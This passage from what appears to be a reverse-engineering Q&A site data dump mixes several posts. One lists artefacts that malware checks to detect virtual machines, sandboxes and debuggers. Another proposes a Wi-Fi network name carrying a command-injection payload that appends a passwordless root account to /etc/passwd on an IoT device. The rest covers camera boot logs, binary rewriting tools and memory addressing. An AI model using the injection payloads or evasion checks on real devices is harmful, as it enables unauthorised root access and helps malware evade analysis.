Class&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;VBoxTrayToolWndClass&lt;/li&gt;&#xA;&lt;li&gt;VBoxTrayToolWnd&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Network shares&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;VirtualBox Shared Folders&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Processes&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;vboxservice.exe   (VBOX)&lt;/li&gt;&#xA;&lt;li&gt;vboxtray.exe      (VBOX)&lt;/li&gt;&#xA;&lt;li&gt;vmtoolsd.exe      (VMWARE)&lt;/li&gt;&#xA;&lt;li&gt;vmwaretray.exe    (VMWARE)&lt;/li&gt;&#xA;&lt;li&gt;vmwareuser        (VMWARE)&lt;/li&gt;&#xA;&lt;li&gt;vmsrvc.exe        (VirtualPC)&lt;/li&gt;&#xA;&lt;li&gt;vmusrvc.exe       (VirtualPC)&lt;/li&gt;&#xA;&lt;li&gt;prl_cc.exe        (Parallels)&lt;/li&gt;&#xA;&lt;li&gt;prl_tools.exe     (Parallels)&lt;/li&gt;&#xA;&lt;li&gt;xenservice.exe    (Citrix Xen)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;WMI&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;SELECT * FROM Win32_Bios (SerialNumber) (VMWARE)&lt;/li&gt;&#xA;&lt;li&gt;SELECT * FROM Win32_PnPEntity (DeviceId) (VBOX)&lt;/li&gt;&#xA;&lt;li&gt;SELECT * FROM Win32_NetworkAdapterConfiguration (MACAddress) (VBOX)&lt;/li&gt;&#xA;&lt;li&gt;SELECT * FROM Win32_NTEventlogFile (VBOX)&lt;/li&gt;&#xA;&lt;li&gt;SELECT * FROM Win32_Processor (NumberOfCores) (GENERIC)&lt;/li&gt;&#xA;&lt;li&gt;SELECT * FROM Win32_LogicalDisk (Size) (GENERIC)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;DLL Exports and Loaded DLLs&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;kernel32.dll!wine_get_unix_file_nameWine (Wine)&lt;/li&gt;&#xA;&lt;li&gt;sbiedll.dll (Sandboxie)&lt;/li&gt;&#xA;&lt;li&gt;dbghelp.dll (MS debugging support routines)&lt;/li&gt;&#xA;&lt;li&gt;api_log.dll (iDefense Labs)&lt;/li&gt;&#xA;&lt;li&gt;dir_watch.dll (iDefense Labs)&lt;/li&gt;&#xA;&lt;li&gt;pstorec.dll (SunBelt Sandbox)&lt;/li&gt;&#xA;&lt;li&gt;vmcheck.dll (Virtual PC)&lt;/li&gt;&#xA;&lt;li&gt;wpespy.dll (WPE Pro)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;CPU*&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Hypervisor presence using (EAX=0x1)&lt;/li&gt;&#xA;&lt;li&gt;Hypervisor vendor using (EAX=0x40000000)&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;KVMKVMKVM\0\0\0&quot; (KVM)&lt;/li&gt;&#xA;&lt;li&gt;&quot;Microsoft Hv&quot;    (Microsoft Hyper-V or Windows Virtual PC)&lt;/li&gt;&#xA;&lt;li&gt;&quot;VMwareVMware&quot;    (VMware)&lt;/li&gt;&#xA;&lt;li&gt;&quot;XenVMMXenVMM&quot;    (Xen)&lt;/li&gt;&#xA;&lt;li&gt;&quot;prl hyperv  &quot;    ( Parallels)&#xA;-&quot;VBoxVBoxVBox&quot;    ( VirtualBox)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Anti-Analysis&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Processes&lt;/strong&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;OllyDBG / ImmunityDebugger / WinDbg / IDA Pro&lt;/li&gt;&#xA;&lt;li&gt;SysInternals Suite Tools (Process Explorer / Process Monitor / Regmon / Filemon, TCPView, Autoruns)&lt;/li&gt;&#xA;&lt;li&gt;Wireshark / Dumpcap&lt;/li&gt;&#xA;&lt;li&gt;ProcessHacker / SysAnalyzer / HookExplorer / SysInspector&lt;/li&gt;&#xA;&lt;li&gt;ImportREC / PETools / LordPE&lt;/li&gt;&#xA;&lt;li&gt;JoeBox Sandbox&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3676" LastActivityDate="2017-03-06T22:11:30.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14839" PostTypeId="2" ParentId="13045" CreationDate="2017-03-07T03:25:00.163" Score="1" Body="&lt;p&gt;Try this: Create a network near the device called:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`echo a::0:0::/:/bin/sh&amp;gt;&amp;gt;/etc/passwd`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;alternative might work better:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`echo$IFSa::0:0::/:/bin/sh&amp;gt;&amp;gt;/etc/passwd`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or instead of using ` on either side, you could do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(echo$IFSa::0:0::/:/bin/sh&amp;gt;&amp;gt;/etc/passwd)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After forming the network name, try to get your device to join this network. If it's a real network (i.e. use a real router) then you can see if the device joins the network. If it does, try logging in with login 'a' and no password. IF it doesn't work then rejoin the setup network i.e. &lt;code&gt;ActiveON_SETUP123&lt;/code&gt; or whatever and then see if you can login now. If it doesn't work, then try the next command, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Explanation&lt;/strong&gt;:&#xA;With any luck, your device is running a shell command to join a network. We can hopefully exploit the `shell_command` and $(shell_command) nature of bash to make it do what we want!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The $IFS part is used in case it parses out spaces or just chokes on spaces for no good reason. Often $IFS will be expanded into a space. :)&lt;/p&gt;&#xA;" OwnerUserId="8057" LastActivityDate="2017-03-07T03:25:00.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14840" PostTypeId="1" AcceptedAnswerId="14845" CreationDate="2017-03-07T03:52:59.120" Score="0" ViewCount="299" Body="&lt;p&gt;I've got a root shell via UART serial connection to an IP Camera that I've been playing with. Similar device is seen here: &lt;a href=&quot;https://www.exploitee.rs/index.php/Belkin_NetCam_HD%2B&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.exploitee.rs/index.php/Belkin_NetCam_HD%2B&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's got busybox with telnetd, so once I run telnetd, I can get into the box without my serial connection. However, once it restarts, any changed data on the filesystem is lost. (I tried adding telnetd to the /etc/init.d/ files, but after reboot that file is reverted to original.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal, ultimately, is to set this up so that I don't need to keep a serial connection. I'd like to have the telnet server run automatically at start up. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is some output from serial at boot:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;spl: start&#xA;rtcbits_v2: initializing ...&#xA;rtcbits: resetflag, 8@0&#xA;rtcbits: holdbase, 24@8&#xA;rtcbits: batterycap, 8@32&#xA;rtcbits: retry_reboot, 8@40&#xA;rtcbits: fastboot, 1@48&#xA;rtcbits: forceshut, 1@49&#xA;rtcbits: sleeping, 1@0&#xA;spl: ----------------------------------------&#xA;spl: devType:0x4&#xA;spl: ----------------------------------------&#xA;spl: bdevice_id:0x7&#xA;cmd1 intsts=0x104 err!&#xA;Card did not respond to voltage select!&#xA;MMC: block number 0x8001 exceeds max(0x0)&#xA;magic do not match2. 0x7f31d8dc&#xA;PCLK: 134000000, PS: 2, SCR: 12, Fout: 5153846&#xA;board arch is set to: a5pv10&#xA;cpu is imapx15&#xA;rtcbits: get bits for resetflag: 0x00&#xA;boot state(0)&#xA;---------------bootst: 0&#xA;spl: dramc---DDR V6.0: mDDR support 16:58:51&#xA;spl: dramc---&#xA;dramc init start&#xA;spl: dramc---dram.type found in items, the value is mDDR&#xA;spl: dramc---dram.freq found in items, its value is 200&#xA;spl: dramc---memory.cl found in items, its value is 3&#xA;spl: dramc---dram.count found in items, its value is 1&#xA;spl: dramc---dram.width found in items, its value is 32&#xA;spl: dramc---dram.capacity found in items, its value is 256&#xA;spl: dramc---memory.driver not found in items, use its default value -481465940&#xA;spl: dramc---memory.trfc found in items, its value is 64&#xA;spl: dramc---memory.tras found in items, its value is 15&#xA;spl: dramc---memory.highres not found in items, use its default value 0&#xA;spl: dramc---dram.rank_sel 1, dram.count 0, dram.reduce_flag 0&#xA;spl: dramc---count width capacity: 0, 3, 5, size 0x100&#xA;spl: dramc---rcb: 14 10 2&#xA;spl: dramc---ADDR_PHY_PGSR = 0xa&#xA;spl: dramc---dramc init succeed and finished&#xA;rballoc: 0x1000@0x87808000 allocated for bootstats&#xA;rballoc: 0x1000@0x87809000 allocated for devType&#xA;spl: dramc---dram.size not found in items, use default value 256&#xA;rballoc: 0x1000@0x8780a000 allocated for dramsize&#xA;rballoc: 0x1000@0x8780b000 allocated for bootxom&#xA;spl: boot item exist: board.disk, flash&#xA;PCLK: 134000000, PS: 2, SCR: 12, Fout: 5153846&#xA;hash_data&#xA;i: type (1)&#xA;i: signature (0)&#xA;rballoc: 0x4000@0x8780c000 allocated for itemrrtb&#xA;spl: jump&#xA;rballoc: 0x4000@0x◊&#xA;&#xA;U-Boot 2009.08 (Jul 27 2016 - 16:58:07)&#xA;Shanghai InfoTM Microelectronics Co., Ltd.&#xA;&#xA;Memory type: DDRII 128 MB&#xA;rballoc: 0x1000@0x87814000 allocated for rtcbits&#xA;rtcbits_v2: initializing ...&#xA;rtcbits: resetflag, 8@0&#xA;rtcbits: holdbase, 24@8&#xA;rtcbits: batterycap, 8@32&#xA;rtcbits: retry_reboot, 8@40&#xA;rtcbits: fastboot, 1@48&#xA;rtcbits: forceshut, 1@49&#xA;rtcbits: sleeping, 1@0&#xA;rbget item_mem = 8780c000&#xA;IR led is not opened &#xA;$$$$$$$$$$$$$$$$$LED ON$$$$$$$$$$$$$$$$$$$$$$$$$&#xA;board arch is set to: a5pv10&#xA;cpu is imapx15&#xA;env_relocate[228] offset = 0x0&#xA;*** Warning - bad CRC or NAND, using default environment&#xA;&#xA;Console devices(i/o/e): serial, serial, serial&#xA;rtcbits: get bits for resetflag: 0x00&#xA;---------------bootst: 0&#xA;rtcbits: get bits for resetflag: 0x00&#xA;bootst exist: 0&#xA;---------------bootst: 0&#xA;Hit any key to stop autoboot:  0 &#xA;keys.fastboot not exist&#xA; display_logo screenDeviceType:1, burn_status:1, timest:1074&#xA; display_logo no for begin, timest:1078&#xA;rballoc: 0x1000@0x87815000 allocated for rclk&#xA;rballoc: 0x1000@0x87816000 allocated for rfpsx1000&#xA;rballoc: 0x1000@0x87817000 allocated for div2&#xA;rballoc: shared owner (rclk) 0x1000@0x87815000&#xA;rballoc: shared owner (rfpsx1000) 0x1000@0x87816000&#xA;rballoc: shared owner (div2) 0x1000@0x87817000&#xA;rballoc: 0x1000@0x87818000 allocated for ubootlogo&#xA;rtcbits: get bits for resetflag: 0x00&#xA;bootst exist: 0&#xA;---------------bootst: 0&#xA;cmd1 intsts=0x104 err!&#xA;Card did not respond to voltage select!&#xA;assign device(mmc1) failed (-17)&#xA;cmd1 intsts=0x104 err!&#xA;Card did not respond to voltage select!&#xA;assign device(mmc1) failed (-17)&#xA;No media_src for seperate images detected&#xA;batt_main() &#xA;batt_item_init() run &#xA;PMU_NULL &#xA;batt_item.batt_v_start = 3450 &#xA;charger_pwron = 0, charger_enable = 0 &#xA;PMU isn't AXP202, AXP202_MODE_NULL &#xA;CPU IS IMAPX15 NEW V2.1&#xA;batt_item_init() end &#xA;rtcbits: get bits for resetflag: 0x00&#xA;bootst exist: 0&#xA;---------------bootst: 0&#xA;pmu.model is exist, but not set the pmu supported&#xA;only for debug, or system error&#xA;begain infotm_check_recovery&#xA;keys.recovery not exist&#xA;PCLK: 134000000, PS: 2, SCR: 2, Fout: 22333333&#xA;warning: not spi boot&#xA;xom=2&#xA;boottype == 0&#xA;bootl from NORMAL.&#xA;fetch kernel0@0xa0000 ...&#xA;PCLK: 134000000, PS: 2, SCR: 2, Fout: 22333333&#xA;warning: not spi boot&#xA;xom=2&#xA;3268ms&#xA;line:248,bootl-&amp;gt;board.disk item_equal flash,is spi&#xA; BOOT CMD: bootm 80007fc0&#xA;## Booting kernel from Legacy Image at 80007fc0 ...&#xA;   Image Name:   Imogen-X860-I&#xA;   Image Type:   ARM Linux Kernel Image (uncompressed)&#xA;   Data Size:    8753448 Bytes =  8.3 MB&#xA;   Load Address: 80008000&#xA;   Entry Point:  80008000&#xA;   Loading Kernel Image ... OK&#xA;OK&#xA;&#xA;Starting kernel ...&#xA;&amp;lt;snip&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't paste the entire kernel boot log here but I'll stick it on pastebin: &lt;a href=&quot;http://pastebin.com/SurihSLL&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://pastebin.com/SurihSLL&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on how I can make a permanent file system change?  Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATED BELOW&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# cat  /proc/mounts&#xA;rootfs / rootfs rw,relatime 0 0&#xA;devtmpfs /dev devtmpfs rw,relatime,size=91180k,nr_inodes=22795,mode=755 0 0&#xA;proc /proc proc rw,relatime 0 0&#xA;devpts /dev/pts devpts rw,relatime,gid=5,mode=620,ptmxmode=000 0 0&#xA;tmpfs /dev/shm tmpfs rw,relatime,mode=777 0 0&#xA;tmpfs /tmp tmpfs rw,relatime 0 0&#xA;tmpfs /root tmpfs rw,relatime 0 0&#xA;sysfs /sys sysfs rw,relatime 0 0&#xA;/dev/mtdblock5 /mnt/config jffs2 rw,relatime 0 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# cat /proc/mtd&#xA;dev:    size   erasesize  name&#xA;mtd0: 00080000 00010000 &quot;boot&quot;&#xA;mtd1: 00010000 00010000 &quot;oem&quot;&#xA;mtd2: 00010000 00010000 &quot;config&quot;&#xA;mtd3: 00a00000 00010000 &quot;kernel0&quot;&#xA;mtd4: 00a00000 00010000 &quot;kernel1&quot;&#xA;mtd5: 00080000 00010000 &quot;jffs&quot;&#xA;mtd6: 00ae0000 00010000 &quot;media&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So to answer your question @w-s, yes /etc/init.d is writeable but it doesn't &lt;em&gt;persist&lt;/em&gt; beyond reboot. :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also.. it does use U-Boot. It even shows this (VERY briefly) at boot up: &lt;code&gt;Hit any key to stop autoboot:  0&lt;/code&gt; (line 83 on pastebin above) but even when I repeatedly mash the &lt;code&gt;any key&lt;/code&gt; on my keyboard, it doesn't seem to accept input. I've tried a number of times but same lack of success!&lt;/p&gt;&#xA;" OwnerUserId="8057" LastEditorUserId="8057" LastEditDate="2017-03-07T14:51:43.033" LastActivityDate="2017-03-07T14:51:43.033" Title="Got root on IP camera, but init.d overwritten at boot. How to start telnetd at launch?" Tags="|embedded|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14841" PostTypeId="1" AcceptedAnswerId="14842" CreationDate="2017-03-07T08:30:54.220" Score="4" ViewCount="3886" Body="&lt;p&gt;My goal is to modify some instructions and make some instrumentation in ELF executables or libraries(For example, modifying all memory writes instructions). Since there're so many instructions, I want to find them automatically and apply some modification. Are there any tools that I can leverage?&lt;/p&gt;&#xA;" OwnerUserId="19411" LastEditorUserId="60" LastEditDate="2017-03-07T08:56:08.387" LastActivityDate="2017-03-09T06:39:36.260" Title="Are there any static binary rewriting tools？" Tags="|binary-analysis|static-analysis|instrumentation|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14842" PostTypeId="2" ParentId="14841" CreationDate="2017-03-07T10:14:27.573" Score="6" Body="&lt;p&gt;I just extracted the following list during my research of this paper:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&quot;Reassembleable Disassembling&quot;&lt;/strong&gt; Shuai Wang, Pei Wang, and Dinghao Wu,&#xA;  The Pennsylvania State University&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The following list consits of all mentioned tools (dynamic and static), perhaps there is something useful:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UROBOROS&lt;/strong&gt; &lt;em&gt;(Static, x86/x64 ELF)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the paper itself introduces UROBOROS. I think it's one of the best options for you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/s3team/uroboros&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/s3team/uroboros&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&quot;Reassembleable Disassembling&quot;&lt;/strong&gt; Shuai Wang, Pei Wang, and Dinghao Wu,&#xA;  The Pennsylvania State University&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In this paper, we present UROBOROS, a tool that can disassemble&#xA;  executables to the extent that the gener- ated code can be assembled&#xA;  back to working binaries without manual effort. [...] &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We have implemented a prototype of UROBOROS in OCaml and Python, with&#xA;  a total of 13,209 lines of code. Our prototype works for both x86 and&#xA;  x64 ELF binaries. [...] &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We have presented UROBOROS, a tool that can disassem- ble stripped&#xA;  binaries and produce reassembleable assem- bly code in a fully&#xA;  automated manner. We call this tech- nique reassembleable&#xA;  disassembling and have developed a prototype called UROBOROS. Our&#xA;  experiments show that reassembled programs incur negligible execution&#xA;  overhead, and thus UROBOROS can be potentially used as a foundation&#xA;  for binary-based software retrofitting.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Dyninst [10, 20]&lt;/strong&gt; &lt;em&gt;(Static+Dynamic)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;BUCK, B., AND HOLLINGSWORTH, J. K. An API for runtime code patching.&#xA;  Int. J. High Perform. Comput. Appl. 14, 4 (2000), 317–329.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Vulcan [16]&lt;/strong&gt; &lt;em&gt;(Static, binaries compiled by special compilers, not stripped)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;EDWARDS, A., VO, H., SRIVASTAVA, A., AND SRIVASTAVA, A. Vulcan binary&#xA;  transformation in a distributed environment. Tech. Rep.&#xA;  MSR-TR-2001-50, Microsoft Research, 2001.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alto [35]&lt;/strong&gt; &lt;em&gt;(Static, binaries compiled by special compilers, not stripped)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;MUTH, R., DEBRAY, S. K., WATTERSON, S., AND DE BOSS- CHERE, K. Alto: A&#xA;  link-time optimizer for the Compaq Alpha. Softw. Pract. Exper. 31, 1&#xA;  (2001), 67–101.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Diablo [13]&lt;/strong&gt; &lt;em&gt;(Static, binaries compiled by special compilers, not stripped)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;DE SUTTER, B., DE BUS, B., AND DE BOSSCHERE, K. Link- time binary&#xA;  rewriting techniques for program compaction. ACM Trans. Program. Lang.&#xA;  Syst. 27, 5 (2005), 882–945.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SecondWrite [3]&lt;/strong&gt; &lt;em&gt;(Static)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ANAND, K., SMITHSON, M., ELWAZEER, K., KOTHA, A., GRUEN, J., GILES,&#xA;  N., AND BARUA, R. A compiler-level inter- mediate representation based&#xA;  binary analysis and rewriting sys- tem. In Proceedings of the 8th ACM&#xA;  European Conference on Computer Systems (2013), ACM, pp. 295–308.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pin [31]&lt;/strong&gt; &lt;em&gt;(Dynamic)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;LUK, C.-K., COHN, R., MUTH, R., PATIL, H., KLAUSER, A., LOWNEY, G.,&#xA;  WALLACE, S., REDDI, V. J., AND HAZELWOOD, K. Pin: Building customized&#xA;  program analysis tools with dy- namic instrumentation. In Proceedings&#xA;  of the 2005 ACM SIG- PLAN Conference on Programming Language Design&#xA;  and Im- plementation (2005), ACM, pp. 190–200.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;DynamoRIO [7]&lt;/strong&gt; &lt;em&gt;(Dynamic)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;BRUENING, D. L. Efficient, transparent, and comprehensive runtime code&#xA;  manipulation. PhD thesis, Massachusetts Institute of Technology, 2004.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;miasm2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Miasm is a free and open source (GPLv2) reverse engineering framework.&#xA;  Miasm aims to analyze / modify / generate binary programs.&#xA;  &lt;a href=&quot;https://github.com/cea-sec/miasm&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/cea-sec/miasm&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;VxStripper&lt;/strong&gt; &lt;em&gt;(dynamic)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Josse, Sébastien. &quot;Malware Dynamic Recompilation.&quot; System Sciences&#xA;  (HICSS), 2014 47th Hawaii International Conference on. IEEE, 2014.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="15907" LastEditorUserId="15907" LastEditDate="2017-03-09T06:39:36.260" LastActivityDate="2017-03-09T06:39:36.260" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14845" PostTypeId="2" ParentId="14840" CreationDate="2017-03-07T14:11:18.223" Score="0" Body="&lt;p&gt;If you can write to the flash, you can try modifying the filesystem to insert necessary hooks there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably  the easiest way to do it is to take a firmware update and modify the embedded rootfs.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-03-07T14:11:18.223" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14847" PostTypeId="2" ParentId="3443" CreationDate="2017-03-07T19:02:48.207" Score="0" Body="&lt;p&gt;Another OpenSource library that might of interest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.capstone-engine.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Capstone Engine&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It supports several architectures, such as x86 (+AMD64), ARM, PowerPC and SPARC.&lt;/p&gt;&#xA;" OwnerUserId="18989" LastActivityDate="2017-03-07T19:02:48.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14848" PostTypeId="1" AcceptedAnswerId="14867" CreationDate="2017-03-08T01:55:24.823" Score="4" ViewCount="1381" Body="&lt;p&gt;I've noticed there is a memory region in user mode on Windows 7 x64 WOW64 that changes during syscalls. It is located quite low in the address space and has the characteristics of a stack, i.e. it starts with a big reserved region, a page guard, and a few pages of R/W. There is only one thread running, and it has its own stack, so I don't think it's connected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I call, say, NtQueryVirtualMemory, a rather constant syscall in that it should only fill a struct and not modify anything else of the address space, even then the memory region gets updated with some changes scattered here and there. Has anyone got any information about what this is? Is it some sort of scratch space for the kernel in user mode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also noticed that when there are two threads, there will be another such hidden region, so it probably is per thread.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any documentation at all of Windows's standard memory layout would be great.&lt;/p&gt;&#xA;" OwnerUserId="18594" LastEditorUserId="18594" LastEditDate="2017-03-08T05:14:52.403" LastActivityDate="2017-03-10T03:01:49.317" Title="What is this hidden stack used by syscalls on Windows?" Tags="|windows|memory|memory-dump|system-call|virtual-memory|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14849" PostTypeId="1" AcceptedAnswerId="14850" CreationDate="2017-03-08T07:48:01.370" Score="0" ViewCount="1277" Body="&lt;p&gt;I'm having a tough time finding any information at all concerning &lt;em&gt;physical memory addresses&lt;/em&gt; and if/how I can get them from a program at runtime (Windows NT/10). When I run a program in OllyDbg and I'm at a breakpoint, for example, are the memory addresses in the dump, disassembler window, and memory map &lt;em&gt;physical&lt;/em&gt; addresses or are these actually still virtual addresses? Do user-mode programs even have any concept of the physical memory or is this only between the kernel and the MMU? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2017-03-08T08:29:51.267" Title="Viewing Physical Memory Addresses in OllyDbg or any program?" Tags="|ollydbg|memory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14850" PostTypeId="2" ParentId="14849" CreationDate="2017-03-08T08:29:51.267" Score="3" Body="&lt;p&gt;Please note this mapping is by no means trivial, but there are several resources available:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://resources.infosecinstitute.com/translating-virtual-to-physical-address-on-windows-physical-addresses/&quot; rel=&quot;nofollow noreferrer&quot;&gt;INFOSEC INSTITUTE - Translating Virtual to Physical Address on Windows: Physical Addresses&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://resources.infosecinstitute.com/translating-virtual-to-physical-address-on-windows-segmentation/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Translating Virtual to Physical Address on Windows: Segmentation&lt;/a&gt; (more theoretical view)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff539310(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Using WinDBG&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/366602/how-to-translate-a-virtual-memory-address-to-a-physical-address&quot;&gt;Stack Overflow: How to translate a virtual memory address to a physical address?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure you're able to come up with many more sources. Basically, you must use the directory table to map virtual address pages to physical ones. You can find it using the C3 register or traversing the EPROCESS structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that there is no concept for physical addresses at user space, because the ability to write and read from these addresses would give the application the possibility to &lt;em&gt;own&lt;/em&gt; the system.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2017-03-08T08:29:51.267" 